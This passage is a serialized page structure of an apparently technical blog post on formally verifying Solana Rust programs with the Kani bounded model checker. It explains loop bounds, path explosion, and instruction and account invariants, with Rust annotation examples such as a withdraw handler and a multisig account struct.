",{"type":24,"tag":42,"props":1240,"children":1241},{},[1242],{"type":29,"value":1243},"correct",{"type":29,"value":1245}," according to this property.",{"type":24,"tag":235,"props":1247,"children":1249},{"id":1248},"loop-bounds-path-explosion",[1250],{"type":29,"value":1251},"Loop bounds & path explosion",{"type":24,"tag":25,"props":1253,"children":1254},{},[1255,1257,1262,1264,1269],{"type":29,"value":1256},"As you may have noticed, BMC requires us to take ",{"type":24,"tag":42,"props":1258,"children":1259},{},[1260],{"type":29,"value":1261},"every",{"type":29,"value":1263}," branch in the program. To be sure that our property holds, we need to check every possible route through the program. If we have 10 branches in a row we might need to test 2^10 paths! And if our program has loops, we may need to check an ",{"type":24,"tag":42,"props":1265,"children":1266},{},[1267],{"type":29,"value":1268},"infinite",{"type":29,"value":1270}," number of paths because the loop branches backward. This might take a while...",{"type":24,"tag":25,"props":1272,"children":1273},{},[1274],{"type":29,"value":1275},"This is where the \"bounded\" part of \"bounded model checking\" applies. Rather than unroll an infinite number of loops, we can set a loop bound and also verify that it is not possible to loop more than the loop bound.",{"type":24,"tag":25,"props":1277,"children":1278},{},[1279],{"type":29,"value":1280},"While this technique of bounding loops makes the problem tractable. It is still expensive to run BMC on very large programs due to the problem of path explosion. As our program gets larger, the number of possible paths scales potentially exponentially.",{"type":24,"tag":25,"props":1282,"children":1283},{},[1284],{"type":29,"value":1285},"One of the main challenges we will discuss later is how to address this problem of path explosion in the context of Solana Rust programs.",{"type":24,"tag":235,"props":1287,"children":1289},{"id":1288},"kani-model-checker",[1290],{"type":29,"value":1291},"Kani Model Checker",{"type":24,"tag":25,"props":1293,"children":1294},{},[1295,1297,1302],{"type":29,"value":1296},"For our research with formally verifying Solana programs, we are using the ",{"type":24,"tag":57,"props":1298,"children":1300},{"href":122,"rel":1299},[61],[1301],{"type":29,"value":126},{"type":29,"value":1303},": an open-source, bit-precise model checker for Rust created at AWS. Under the hood, Kani uses the C Bounded Model Checker (CBMC) to do the heavy lifting.",{"type":24,"tag":25,"props":1305,"children":1306},{},[1307,1309,1314,1316,1322,1324,1330,1332,1338],{"type":29,"value":1308},"Kani allows you to write ",{"type":24,"tag":42,"props":1310,"children":1311},{},[1312],{"type":29,"value":1313},"proof harnesses",{"type":29,"value":1315}," which can invoke Rust functions with symbolic values. These harnesses can ",{"type":24,"tag":284,"props":1317,"children":1319},{"className":1318},[],[1320],{"type":29,"value":1321},"assume",{"type":29,"value":1323}," and ",{"type":24,"tag":284,"props":1325,"children":1327},{"className":1326},[],[1328],{"type":29,"value":1329},"assert",{"type":29,"value":1331}," certain conditions about these symbolic values and then you can verify that a proof harness holds via the ",{"type":24,"tag":284,"props":1333,"children":1335},{"className":1334},[],[1336],{"type":29,"value":1337},"cargo kani",{"type":29,"value":1339}," tool (which compiles your proof harness and runs BMC).",{"type":24,"tag":228,"props":1341,"children":1343},{"id":1342},"specification-how-can-we-describe-what-we-want-our-program-to-do",[1344,1346,1350],{"type":29,"value":1345},"Specification: How can we describe what we ",{"type":24,"tag":42,"props":1347,"children":1348},{},[1349],{"type":29,"value":199},{"type":29,"value":201},{"type":24,"tag":25,"props":1352,"children":1353},{},[1354],{"type":24,"tag":42,"props":1355,"children":1356},{},[1357],{"type":24,"tag":188,"props":1358,"children":1359},{},[1360],{"type":29,"value":1361},"And what even do we want it to do?",{"type":24,"tag":25,"props":1363,"children":1364},{},[1365,1367,1372],{"type":29,"value":1366},"A fundamental challenge with any formal verification framework is ",{"type":24,"tag":42,"props":1368,"children":1369},{},[1370],{"type":29,"value":1371},"specifying",{"type":29,"value":1373}," what the \"correct\" behavior should be.",{"type":24,"tag":25,"props":1375,"children":1376},{},[1377],{"type":29,"value":1378},"In natural language, we can describe a few good properties for example Solana programs:",{"type":24,"tag":1380,"props":1381,"children":1382},"ul",{},[1383,1395,1407],{"type":24,"tag":179,"props":1384,"children":1385},{},[1386,1388,1393],{"type":29,"value":1387},"\"It should not be possible to ",{"type":24,"tag":188,"props":1389,"children":1390},{},[1391],{"type":29,"value":1392},"steal money",{"type":29,"value":1394}," via a swap program\"",{"type":24,"tag":179,"props":1396,"children":1397},{},[1398,1400,1405],{"type":29,"value":1399},"\"A multisig should never get into a state where you ",{"type":24,"tag":188,"props":1401,"children":1402},{},[1403],{"type":29,"value":1404},"can't sign anything",{"type":29,"value":1406},"\"",{"type":24,"tag":179,"props":1408,"children":1409},{},[1410],{"type":29,"value":1411},"\"User funds in a staking protocol \"",{"type":24,"tag":25,"props":1413,"children":1414},{},[1415,1417,1427,1429,1434],{"type":29,"value":1416},"These are types of properties you can tell your ",{"type":24,"tag":57,"props":1418,"children":1421},{"href":1419,"rel":1420},"https://osec.io/",[61],[1422],{"type":24,"tag":42,"props":1423,"children":1424},{},[1425],{"type":29,"value":1426},"human auditors",{"type":29,"value":1428}," but these English phrases are not particularly useful for ",{"type":24,"tag":42,"props":1430,"children":1431},{},[1432],{"type":29,"value":1433},"automated verification techniques",{"type":29,"value":1435}," (at least until our AI overlords surpass human intelligence).",{"type":24,"tag":25,"props":1437,"children":1438},{},[1439,1441,1446,1448,1453],{"type":29,"value":1440},"Instead, we need to be able to specify ",{"type":24,"tag":42,"props":1442,"children":1443},{},[1444],{"type":29,"value":1445},"in code",{"type":29,"value":1447}," what properties we want to check. Ideally, we could define invariants that fit nicely into something like an ",{"type":24,"tag":284,"props":1449,"children":1451},{"className":1450},[],[1452],{"type":29,"value":1329},{"type":29,"value":1454}," statement.",{"type":24,"tag":235,"props":1456,"children":1458},{"id":1457},"solana-invariants",[1459],{"type":29,"value":1460},"Solana Invariants",{"type":24,"tag":25,"props":1462,"children":1463},{},[1464,1466,1471,1472,1477],{"type":29,"value":1465},"In the context of Solana programs we define two different types of properties that we would like to verify: ",{"type":24,"tag":188,"props":1467,"children":1468},{},[1469],{"type":29,"value":1470},"instruction invariants",{"type":29,"value":1323},{"type":24,"tag":188,"props":1473,"children":1474},{},[1475],{"type":29,"value":1476},"account invariants",{"type":29,"value":66},{"type":24,"tag":168,"props":1479,"children":1481},{"id":1480},"instruction-invariant",[1482],{"type":29,"value":1483},"Instruction Invariant",{"type":24,"tag":25,"props":1485,"children":1486},{},[1487,1489,1494,1496,1502,1504,1510],{"type":29,"value":1488},"An ",{"type":24,"tag":188,"props":1490,"children":1491},{},[1492],{"type":29,"value":1493},"instruction invariant",{"type":29,"value":1495}," specifies sufficient conditions for an instruction to succeed (or fail). These are specified as ",{"type":24,"tag":284,"props":1497,"children":1499},{"className":1498},[],[1500],{"type":29,"value":1501},"succeeds_if",{"type":29,"value":1503}," or ",{"type":24,"tag":284,"props":1505,"children":1507},{"className":1506},[],[1508],{"type":29,"value":1509},"errors_if",{"type":29,"value":1511}," macro annotations on the instruction handler.",{"type":24,"tag":25,"props":1513,"children":1514},{},[1515],{"type":29,"value":1516},"In Solana, when an instruction fails, the entire transaction is reverted. Failing an instruction on purpose is commonly used as a form of access control; invalid accounts, bad state, etc... will cause an instruction to fail and get reverted.",{"type":24,"tag":25,"props":1518,"children":1519},{},[1520,1522,1528,1530,1535],{"type":29,"value":1521},"For example, say we have a ",{"type":24,"tag":284,"props":1523,"children":1525},{"className":1524},[],[1526],{"type":29,"value":1527},"Withdraw",{"type":29,"value":1529}," instruction that lets a user withdraw some tokens. A security critical property we may want to verify is that the user cannot withdraw ",{"type":24,"tag":42,"props":1531,"children":1532},{},[1533],{"type":29,"value":1534},"more",{"type":29,"value":1536}," tokens than their current balance.",{"type":24,"tag":25,"props":1538,"children":1539},{},[1540,1542,1547],{"type":29,"value":1541},"Using our tool, you could specify the following ",{"type":24,"tag":284,"props":1543,"children":1545},{"className":1544},[],[1546],{"type":29,"value":1509},{"type":29,"value":1548}," property on your instruction handler:",{"type":24,"tag":317,"props":1550,"children":1554},{"code":1551,"language":1552,"meta":7,"className":1553,"style":7},"#[errors_if(\n    ctx.user.balance \u003C amount\n)]\nfn withdraw(ctx: Context\u003CWithdraw>, amount: u64) -> Result\u003C()> {\n    ...\n}\n","rust","language-rust shiki shiki-themes slack-dark",[1555],{"type":24,"tag":284,"props":1556,"children":1557},{"__ignoreMap":7},[1558,1566,1602,1610,1690,1698],{"type":24,"tag":327,"props":1559,"children":1560},{"class":329,"line":330},[1561],{"type":24,"tag":327,"props":1562,"children":1563},{"style":346},[1564],{"type":29,"value":1565},"#[errors_if(\n",{"type":24,"tag":327,"props":1567,"children":1568},{"class":329,"line":367},[1569,1574,1578,1583,1587,1592,1597],{"type":24,"tag":327,"props":1570,"children":1571},{"style":346},[1572],{"type":29,"value":1573},"    ctx",{"type":24,"tag":327,"props":1575,"children":1576},{"style":381},[1577],{"type":29,"value":66},{"type":24,"tag":327,"props":1579,"children":1580},{"style":346},[1581],{"type":29,"value":1582},"user",{"type":24,"tag":327,"props":1584,"children":1585},{"style":381},[1586],{"type":29,"value":66},{"type":24,"tag":327,"props":1588,"children":1589},{"style":346},[1590],{"type":29,"value":1591},"balance ",{"type":24,"tag":327,"props":1593,"children":1594},{"style":381},[1595],{"type":29,"value":1596},"\u003C",{"type":24,"tag":327,"props":1598,"children":1599},{"style":346},[1600],{"type":29,"value":1601}," amount\n",{"type":24,"tag":327,"props":1603,"children":1604},{"class":329,"line":408},[1605],{"type":24,"tag":327,"props":1606,"children":1607},{"style":346},[1608],{"type":29,"value":1609},")]\n",{"type":24,"tag":327,"props":1611,"children":1612},{"class":329,"line":421},[1613,1618,1623,1627,1632,1637,1643,1647,1651,1656,1661,1665,1670,1675,1680,1685],{"type":24,"tag":327,"props":1614,"children":1615},{"style":334},[1616],{"type":29,"value":1617},"fn",{"type":24,"tag":327,"props":1619,"children":1620},{"style":340},[1621],{"type":29,"value":1622}," withdraw",{"type":24,"tag":327,"props":1624,"children":1625},{"style":346},[1626],{"type":29,"value":349},{"type":24,"tag":327,"props":1628,"children":1629},{"style":356},[1630],{"type":29,"value":1631},"ctx",{"type":24,"tag":327,"props":1633,"children":1634},{"style":381},[1635],{"type":29,"value":1636},":",{"type":24,"tag":327,"props":1638,"children":1640},{"style":1639},"--shiki-default:#4EC9B0",[1641],{"type":29,"value":1642}," Context",{"type":24,"tag":327,"props":1644,"children":1645},{"style":346},[1646],{"type":29,"value":1596},{"type":24,"tag":327,"props":1648,"children":1649},{"style":1639},[1650],{"type":29,"value":1527},{"type":24,"tag":327,"props":1652,"children":1653},{"style":346},[1654],{"type":29,"value":1655},">, ",{"type":24,"tag":327,"props":1657,"children":1658},{"style":356},[1659],{"type":29,"value":1660},"amount",{"type":24,"tag":327,"props":1662,"children":1663},{"style":381},[1664],{"type":29,"value":1636},{"type":24,"tag":327,"props":1666,"children":1667},{"style":1639},[1668],{"type":29,"value":1669}," u64",{"type":24,"tag":327,"props":1671,"children":1672},{"style":346},[1673],{"type":29,"value":1674},") ",{"type":24,"tag":327,"props":1676,"children":1677},{"style":381},[1678],{"type":29,"value":1679},"->",{"type":24,"tag":327,"props":1681,"children":1682},{"style":1639},[1683],{"type":29,"value":1684}," Result",{"type":24,"tag":327,"props":1686,"children":1687},{"style":346},[1688],{"type":29,"value":1689},"\u003C()> {\n",{"type":24,"tag":327,"props":1691,"children":1692},{"class":329,"line":450},[1693],{"type":24,"tag":327,"props":1694,"children":1695},{"style":381},[1696],{"type":29,"value":1697},"    ...\n",{"type":24,"tag":327,"props":1699,"children":1700},{"class":329,"line":481},[1701],{"type":24,"tag":327,"props":1702,"children":1703},{"style":346},[1704],{"type":29,"value":592},{"type":24,"tag":1706,"props":1707,"children":1708},"blockquote",{},[1709],{"type":24,"tag":25,"props":1710,"children":1711},{},[1712,1714,1719,1721,1726,1728,1733],{"type":29,"value":1713},"The ",{"type":24,"tag":284,"props":1715,"children":1717},{"className":1716},[],[1718],{"type":29,"value":1509},{"type":29,"value":1720}," expression specifies ",{"type":24,"tag":42,"props":1722,"children":1723},{},[1724],{"type":29,"value":1725},"succifient",{"type":29,"value":1727}," but not ",{"type":24,"tag":42,"props":1729,"children":1730},{},[1731],{"type":29,"value":1732},"necessary",{"type":29,"value":1734}," conditions for an instruction to fail. I.e. it imposes a strong lower bound on what the requirements are for an instruction to fail.",{"type":24,"tag":68,"props":1736,"children":1737},{},[],{"type":24,"tag":25,"props":1739,"children":1740},{},[1741,1743,1748],{"type":29,"value":1742},"Another example is that for ",{"type":24,"tag":42,"props":1744,"children":1745},{},[1746],{"type":29,"value":1747},"crank",{"type":29,"value":1749}," functions — run by unauthenticated users to advance the state of the system, you may want to prove that they never fail. In that case, you could specify an invariant like the following:",{"type":24,"tag":317,"props":1751,"children":1753},{"code":1752,"language":1552,"meta":7,"className":1553,"style":7},"#[succeeds_if(true)]\nfn my_crank(ctx: Context\u003CCrank>) -> Result\u003C()> {\n    ...\n}\n",[1754],{"type":24,"tag":284,"props":1755,"children":1756},{"__ignoreMap":7},[1757,1765,1819,1826],{"type":24,"tag":327,"props":1758,"children":1759},{"class":329,"line":330},[1760],{"type":24,"tag":327,"props":1761,"children":1762},{"style":346},[1763],{"type":29,"value":1764},"#[succeeds_if(true)]\n",{"type":24,"tag":327,"props":1766,"children":1767},{"class":329,"line":367},[1768,1772,1777,1781,1785,1789,1793,1797,1802,1807,1811,1815],{"type":24,"tag":327,"props":1769,"children":1770},{"style":334},[1771],{"type":29,"value":1617},{"type":24,"tag":327,"props":1773,"children":1774},{"style":340},[1775],{"type":29,"value":1776}," my_crank",{"type":24,"tag":327,"props":1778,"children":1779},{"style":346},[1780],{"type":29,"value":349},{"type":24,"tag":327,"props":1782,"children":1783},{"style":356},[1784],{"type":29,"value":1631},{"type":24,"tag":327,"props":1786,"children":1787},{"style":381},[1788],{"type":29,"value":1636},{"type":24,"tag":327,"props":1790,"children":1791},{"style":1639},[1792],{"type":29,"value":1642},{"type":24,"tag":327,"props":1794,"children":1795},{"style":346},[1796],{"type":29,"value":1596},{"type":24,"tag":327,"props":1798,"children":1799},{"style":1639},[1800],{"type":29,"value":1801},"Crank",{"type":24,"tag":327,"props":1803,"children":1804},{"style":346},[1805],{"type":29,"value":1806},">) ",{"type":24,"tag":327,"props":1808,"children":1809},{"style":381},[1810],{"type":29,"value":1679},{"type":24,"tag":327,"props":1812,"children":1813},{"style":1639},[1814],{"type":29,"value":1684},{"type":24,"tag":327,"props":1816,"children":1817},{"style":346},[1818],{"type":29,"value":1689},{"type":24,"tag":327,"props":1820,"children":1821},{"class":329,"line":408},[1822],{"type":24,"tag":327,"props":1823,"children":1824},{"style":381},[1825],{"type":29,"value":1697},{"type":24,"tag":327,"props":1827,"children":1828},{"class":329,"line":421},[1829],{"type":24,"tag":327,"props":1830,"children":1831},{"style":346},[1832],{"type":29,"value":592},{"type":24,"tag":25,"props":1834,"children":1835},{},[1836,1838,1843,1845,1851],{"type":29,"value":1837},"With this invariant, you could prove that the function ",{"type":24,"tag":42,"props":1839,"children":1840},{},[1841],{"type":29,"value":1842},"always",{"type":29,"value":1844}," returns ",{"type":24,"tag":284,"props":1846,"children":1848},{"className":1847},[],[1849],{"type":29,"value":1850},"Ok",{"type":29,"value":1852},". This type of construction could help avoid possible denial of service attacks if a crank could get \"stuck.\"",{"type":24,"tag":68,"props":1854,"children":1855},{},[],{"type":24,"tag":25,"props":1857,"children":1858},{},[1859,1861,1866,1867,1872,1874,1879,1881,1886,1888,1893],{"type":29,"value":1860},"Note that ",{"type":24,"tag":284,"props":1862,"children":1864},{"className":1863},[],[1865],{"type":29,"value":1501},{"type":29,"value":1323},{"type":24,"tag":284,"props":1868,"children":1870},{"className":1869},[],[1871],{"type":29,"value":1509},{"type":29,"value":1873}," are both implications and not biconditionals. That is, a function may succeed even if ",{"type":24,"tag":284,"props":1875,"children":1877},{"className":1876},[],[1878],{"type":29,"value":1501},{"type":29,"value":1880}," is not satisfied and a function may fail even if ",{"type":24,"tag":284,"props":1882,"children":1884},{"className":1883},[],[1885],{"type":29,"value":1509},{"type":29,"value":1887}," is not satisfied. If you want to prove the ",{"type":24,"tag":42,"props":1889,"children":1890},{},[1891],{"type":29,"value":1892},"exact condition",{"type":29,"value":1894}," required for an instruction to succeed, you could use a form like the following:",{"type":24,"tag":317,"props":1896,"children":1898},{"code":1897,"language":1552,"meta":7,"className":1553,"style":7},"fn my_invariant(...) -> bool { ... }\n\n#[succeeds_if(my_invariant(...))]\n#[errors_if(!my_invariant(...))]\nfn my_instruction(ctx: Context\u003C...>) -> Result\u003C()> {\n    ...\n}\n",[1899],{"type":24,"tag":284,"props":1900,"children":1901},{"__ignoreMap":7},[1902,1950,1957,1974,2000,2052,2059],{"type":24,"tag":327,"props":1903,"children":1904},{"class":329,"line":330},[1905,1909,1914,1918,1923,1927,1931,1936,1941,1945],{"type":24,"tag":327,"props":1906,"children":1907},{"style":334},[1908],{"type":29,"value":1617},{"type":24,"tag":327,"props":1910,"children":1911},{"style":340},[1912],{"type":29,"value":1913}," my_invariant",{"type":24,"tag":327,"props":1915,"children":1916},{"style":346},[1917],{"type":29,"value":349},{"type":24,"tag":327,"props":1919,"children":1920},{"style":381},[1921],{"type":29,"value":1922},"...",{"type":24,"tag":327,"props":1924,"children":1925},{"style":346},[1926],{"type":29,"value":1674},{"type":24,"tag":327,"props":1928,"children":1929},{"style":381},[1930],{"type":29,"value":1679},{"type":24,"tag":327,"props":1932,"children":1933},{"style":1639},[1934],{"type":29,"value":1935}," bool",{"type":24,"tag":327,"props":1937,"children":1938},{"style":346},[1939],{"type":29,"value":1940}," { ",{"type":24,"tag":327,"props":1942,"children":1943},{"style":381},[1944],{"type":29,"value":1922},{"type":24,"tag":327,"props":1946,"children":1947},{"style":346},[1948],{"type":29,"value":1949}," }\n",{"type":24,"tag":327,"props":1951,"children":1952},{"class":329,"line":367},[1953],{"type":24,"tag":327,"props":1954,"children":1955},{"emptyLinePlaceholder":16},[1956],{"type":29,"value":544},{"type":24,"tag":327,"props":1958,"children":1959},{"class":329,"line":408},[1960,1965,1969],{"type":24,"tag":327,"props":1961,"children":1962},{"style":346},[1963],{"type":29,"value":1964},"#[succeeds_if(my_invariant(",{"type":24,"tag":327,"props":1966,"children":1967},{"style":381},[1968],{"type":29,"value":1922},{"type":24,"tag":327,"props":1970,"children":1971},{"style":346},[1972],{"type":29,"value":1973},"))]\n",{"type":24,"tag":327,"props":1975,"children":1976},{"class":329,"line":421},[1977,1982,1987,1992,1996],{"type":24,"tag":327,"props":1978,"children":1979},{"style":346},[1980],{"type":29,"value":1981},"#[errors_if(",{"type":24,"tag":327,"props":1983,"children":1984},{"style":381},[1985],{"type":29,"value":1986},"!",{"type":24,"tag":327,"props":1988,"children":1989},{"style":346},[1990],{"type":29,"value":1991},"my_invariant(",{"type":24,"tag":327,"props":1993,"children":1994},{"style":381},[1995],{"type":29,"value":1922},{"type":24,"tag":327,"props":1997,"children":1998},{"style":346},[1999],{"type":29,"value":1973},{"type":24,"tag":327,"props":2001,"children":2002},{"class":329,"line":450},[2003,2007,2012,2016,2020,2024,2028,2032,2036,2040,2044,2048],{"type":24,"tag":327,"props":2004,"children":2005},{"style":334},[2006],{"type":29,"value":1617},{"type":24,"tag":327,"props":2008,"children":2009},{"style":340},[2010],{"type":29,"value":2011}," my_instruction",{"type":24,"tag":327,"props":2013,"children":2014},{"style":346},[2015],{"type":29,"value":349},{"type":24,"tag":327,"props":2017,"children":2018},{"style":356},[2019],{"type":29,"value":1631},{"type":24,"tag":327,"props":2021,"children":2022},{"style":381},[2023],{"type":29,"value":1636},{"type":24,"tag":327,"props":2025,"children":2026},{"style":1639},[2027],{"type":29,"value":1642},{"type":24,"tag":327,"props":2029,"children":2030},{"style":346},[2031],{"type":29,"value":1596},{"type":24,"tag":327,"props":2033,"children":2034},{"style":381},[2035],{"type":29,"value":1922},{"type":24,"tag":327,"props":2037,"children":2038},{"style":346},[2039],{"type":29,"value":1806},{"type":24,"tag":327,"props":2041,"children":2042},{"style":381},[2043],{"type":29,"value":1679},{"type":24,"tag":327,"props":2045,"children":2046},{"style":1639},[2047],{"type":29,"value":1684},{"type":24,"tag":327,"props":2049,"children":2050},{"style":346},[2051],{"type":29,"value":1689},{"type":24,"tag":327,"props":2053,"children":2054},{"class":329,"line":481},[2055],{"type":24,"tag":327,"props":2056,"children":2057},{"style":381},[2058],{"type":29,"value":1697},{"type":24,"tag":327,"props":2060,"children":2061},{"class":329,"line":500},[2062],{"type":24,"tag":327,"props":2063,"children":2064},{"style":346},[2065],{"type":29,"value":592},{"type":24,"tag":25,"props":2067,"children":2068},{},[2069],{"type":29,"value":2070},"Note that in practice, it is usually not necessary (or useful) to find the exact condition; rather we can achieve the security properties we want purely by proving upper and lower bounds on instruction success.",{"type":24,"tag":168,"props":2072,"children":2074},{"id":2073},"account-invariants",[2075],{"type":29,"value":2076},"Account Invariants",{"type":24,"tag":25,"props":2078,"children":2079},{},[2080,2082,2087],{"type":29,"value":2081},"The other type of invariant is an ",{"type":24,"tag":188,"props":2083,"children":2084},{},[2085],{"type":29,"value":2086},"Account Invariant",{"type":29,"value":2088},". This invariant describes some property of an account that should always hold.",{"type":24,"tag":25,"props":2090,"children":2091},{},[2092,2094,2100,2101,2107],{"type":29,"value":2093},"In our tool, we verify that the account invariant holds after every instruction that could modify the account data (i.e. if the account is ",{"type":24,"tag":284,"props":2095,"children":2097},{"className":2096},[],[2098],{"type":29,"value":2099},"mut",{"type":29,"value":1503},{"type":24,"tag":284,"props":2102,"children":2104},{"className":2103},[],[2105],{"type":29,"value":2106},"init",{"type":29,"value":2108},").",{"type":24,"tag":25,"props":2110,"children":2111},{},[2112,2114,2120],{"type":29,"value":2113},"For example, given a mock ",{"type":24,"tag":284,"props":2115,"children":2117},{"className":2116},[],[2118],{"type":29,"value":2119},"UserStatement",{"type":29,"value":2121}," account that represents how much a user owns and owes, we could write an invariant that asserts that the net balance is positive:",{"type":24,"tag":317,"props":2123,"children":2125},{"code":2124,"language":1552,"meta":7,"className":1553,"style":7},"#[account]\n#[invariant(\n    self.assets >= self.liabilities\n)]\nstruct UserStatement {\n    pub owner: Pubkey,\n    pub assets: u64,\n    pub liabilities: u64,\n}\n",[2126],{"type":24,"tag":284,"props":2127,"children":2128},{"__ignoreMap":7},[2129,2137,2145,2181,2188,2205,2232,2256,2280],{"type":24,"tag":327,"props":2130,"children":2131},{"class":329,"line":330},[2132],{"type":24,"tag":327,"props":2133,"children":2134},{"style":346},[2135],{"type":29,"value":2136},"#[account]\n",{"type":24,"tag":327,"props":2138,"children":2139},{"class":329,"line":367},[2140],{"type":24,"tag":327,"props":2141,"children":2142},{"style":346},[2143],{"type":29,"value":2144},"#[invariant(\n",{"type":24,"tag":327,"props":2146,"children":2147},{"class":329,"line":408},[2148,2153,2157,2162,2167,2172,2176],{"type":24,"tag":327,"props":2149,"children":2150},{"style":346},[2151],{"type":29,"value":2152},"    self",{"type":24,"tag":327,"props":2154,"children":2155},{"style":381},[2156],{"type":29,"value":66},{"type":24,"tag":327,"props":2158,"children":2159},{"style":346},[2160],{"type":29,"value":2161},"assets ",{"type":24,"tag":327,"props":2163,"children":2164},{"style":381},[2165],{"type":29,"value":2166},">=",{"type":24,"tag":327,"props":2168,"children":2169},{"style":346},[2170],{"type":29,"value":2171}," self",{"type":24,"tag":327,"props":2173,"children":2174},{"style":381},[2175],{"type":29,"value":66},{"type":24,"tag":327,"props":2177,"children":2178},{"style":346},[2179],{"type":29,"value":2180},"liabilities\n",{"type":24,"tag":327,"props":2182,"children":2183},{"class":329,"line":421},[2184],{"type":24,"tag":327,"props":2185,"children":2186},{"style":346},[2187],{"type":29,"value":1609},{"type":24,"tag":327,"props":2189,"children":2190},{"class":329,"line":450},[2191,2196,2201],{"type":24,"tag":327,"props":2192,"children":2193},{"style":334},[2194],{"type":29,"value":2195},"struct",{"type":24,"tag":327,"props":2197,"children":2198},{"style":1639},[2199],{"type":29,"value":2200}," UserStatement",{"type":24,"tag":327,"props":2202,"children":2203},{"style":346},[2204],{"type":29,"value":497},{"type":24,"tag":327,"props":2206,"children":2207},{"class":329,"line":481},[2208,2213,2218,2222,2227],{"type":24,"tag":327,"props":2209,"children":2210},{"style":334},[2211],{"type":29,"value":2212},"    pub",{"type":24,"tag":327,"props":2214,"children":2215},{"style":356},[2216],{"type":29,"value":2217}," owner",{"type":24,"tag":327,"props":2219,"children":2220},{"style":381},[2221],{"type":29,"value":1636},{"type":24,"tag":327,"props":2223,"children":2224},{"style":1639},[2225],{"type":29,"value":2226}," Pubkey",{"type":24,"tag":327,"props":2228,"children":2229},{"style":346},[2230],{"type":29,"value":2231},",\n",{"type":24,"tag":327,"props":2233,"children":2234},{"class":329,"line":500},[2235,2239,2244,2248,2252],{"type":24,"tag":327,"props":2236,"children":2237},{"style":334},[2238],{"type":29,"value":2212},{"type":24,"tag":327,"props":2240,"children":2241},{"style":356},[2242],{"type":29,"value":2243}," assets",{"type":24,"tag":327,"props":2245,"children":2246},{"style":381},[2247],{"type":29,"value":1636},{"type":24,"tag":327,"props":2249,"children":2250},{"style":1639},[2251],{"type":29,"value":1669},{"type":24,"tag":327,"props":2253,"children":2254},{"style":346},[2255],{"type":29,"value":2231},{"type":24,"tag":327,"props":2257,"children":2258},{"class":329,"line":529},[2259,2263,2268,2272,2276],{"type":24,"tag":327,"props":2260,"children":2261},{"style":334},[2262],{"type":29,"value":2212},{"type":24,"tag":327,"props":2264,"children":2265},{"style":356},[2266],{"type":29,"value":2267}," liabilities",{"type":24,"tag":327,"props":2269,"children":2270},{"style":381},[2271],{"type":29,"value":1636},{"type":24,"tag":327,"props":2273,"children":2274},{"style":1639},[2275],{"type":29,"value":1669},{"type":24,"tag":327,"props":2277,"children":2278},{"style":346},[2279],{"type":29,"value":2231},{"type":24,"tag":327,"props":2281,"children":2282},{"class":329,"line":538},[2283],{"type":24,"tag":327,"props":2284,"children":2285},{"style":346},[2286],{"type":29,"value":592},{"type":24,"tag":25,"props":2288,"children":2289},{},[2290,2292,2297],{"type":29,"value":2291},"Our tool automatically generates the relevant harnesses to ensure that this property holds every time an account of type ",{"type":24,"tag":284,"props":2293,"children":2295},{"className":2294},[],[2296],{"type":29,"value":2119},{"type":29,"value":2298}," is created or modified.",{"type":24,"tag":25,"props":2300,"children":2301},{},[2302,2304,2310],{"type":29,"value":2303},"In another example, we developed the following invariant for the ",{"type":24,"tag":57,"props":2305,"children":2307},{"href":99,"rel":2306},[61],[2308],{"type":29,"value":2309},"Squads Multisig",{"type":29,"value":2311}," wallet account:",{"type":24,"tag":317,"props":2313,"children":2315},{"code":2314,"language":1552,"meta":7,"className":1553,"style":7},"#[account]\n#[invariant(\n    !self.keys.is_empty()\n    && (self.keys.len() \u003C= u16::MAX as usize)\n    && (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms {\n    pub threshold: u16,               // threshold for signatures\n    pub authority_index: u16,         // index to seed other authorities under this multisig\n    pub transaction_index: u32,       // look up and seed reference for transactions\n    pub ms_change_index: u32,         // the last executed/closed transaction\n    pub bump: u8,                     // bump for the multisig seed\n    pub create_key: Pubkey,           // random key(or not) used to seed the multisig pda\n    pub allow_external_execute: bool, // allow non-member keys to execute txs\n    pub keys: Vec\u003CPubkey>,            // keys of the members\n}\n",[2316],{"type":24,"tag":284,"props":2317,"children":2318},{"__ignoreMap":7},[2319,2326,2333,2364,2427,2456,2510,2517,2539,2569,2599,2630,2659,2690,2720,2750,2790],{"type":24,"tag":327,"props":2320,"children":2321},{"class":329,"line":330},[2322],{"type":24,"tag":327,"props":2323,"children":2324},{"style":346},[2325],{"type":29,"value":2136},{"type":24,"tag":327,"props":2327,"children":2328},{"class":329,"line":367},[2329],{"type":24,"tag":327,"props":2330,"children":2331},{"style":346},[2332],{"type":29,"value":2144},{"type":24,"tag":327,"props":2334,"children":2335},{"class":329,"line":408},[2336,2341,2346,2350,2355,2359],{"type":24,"tag":327,"props":2337,"children":2338},{"style":381},[2339],{"type":29,"value":2340},"    !",{"type":24,"tag":327,"props":2342,"children":2343},{"style":346},[2344],{"type":29,"value":2345},"self",{"type":24,"tag":327,"props":2347,"children":2348},{"style":381},[2349],{"type":29,"value":66},{"type":24,"tag":327,"props":2351,"children":2352},{"style":346},[2353],{"type":29,"value":2354},"keys",{"type":24,"tag":327,"props":2356,"children":2357},{"style":381},[2358],{"type":29,"value":66},{"type":24,"tag":327,"props":2360,"children":2361},{"style":346},[2362],{"type":29,"value":2363},"is_empty()\n",{"type":24,"tag":327,"props":2365,"children":2366},{"class":329,"line":421},[2367,2372,2377,2381,2385,2389,2394,2398,2403,2408,2413,2418,2423],{"type":24,"tag":327,"props":2368,"children":2369},{"style":381},[2370],{"type":29,"value":2371},"    &&",{"type":24,"tag":327,"props":2373,"children":2374},{"style":346},[2375],{"type":29,"value":2376}," (self",{"type":24,"tag":327,"props":2378,"children":2379},{"style":381},[2380],{"type":29,"value":66},{"type":24,"tag":327,"props":2382,"children":2383},{"style":346},[2384],{"type":29,"value":2354},{"type":24,"tag":327,"props":2386,"children":2387},{"style":381},[2388],{"type":29,"value":66},{"type":24,"tag":327,"props":2390,"children":2391},{"style":346},[2392],{"type":29,"value":2393},"len() ",{"type":24,"tag":327,"props":2395,"children":2396},{"style":381},[2397],{"type":29,"value":743},{"type":24,"tag":327,"props":2399,"children":2400},{"style":1639},[2401],{"type":29,"value":2402}," u16",{"type":24,"tag":327,"props":2404,"children":2405},{"style":381},[2406],{"type":29,"value":2407},"::",{"type":24,"tag":327,"props":2409,"children":2410},{"style":1639},[2411],{"type":29,"value":2412},"MAX",{"type":24,"tag":327,"props":2414,"children":2415},{"style":334},[2416],{"type":29,"value":2417}," as",{"type":24,"tag":327,"props":2419,"children":2420},{"style":1639},[2421],{"type":29,"value":2422}," 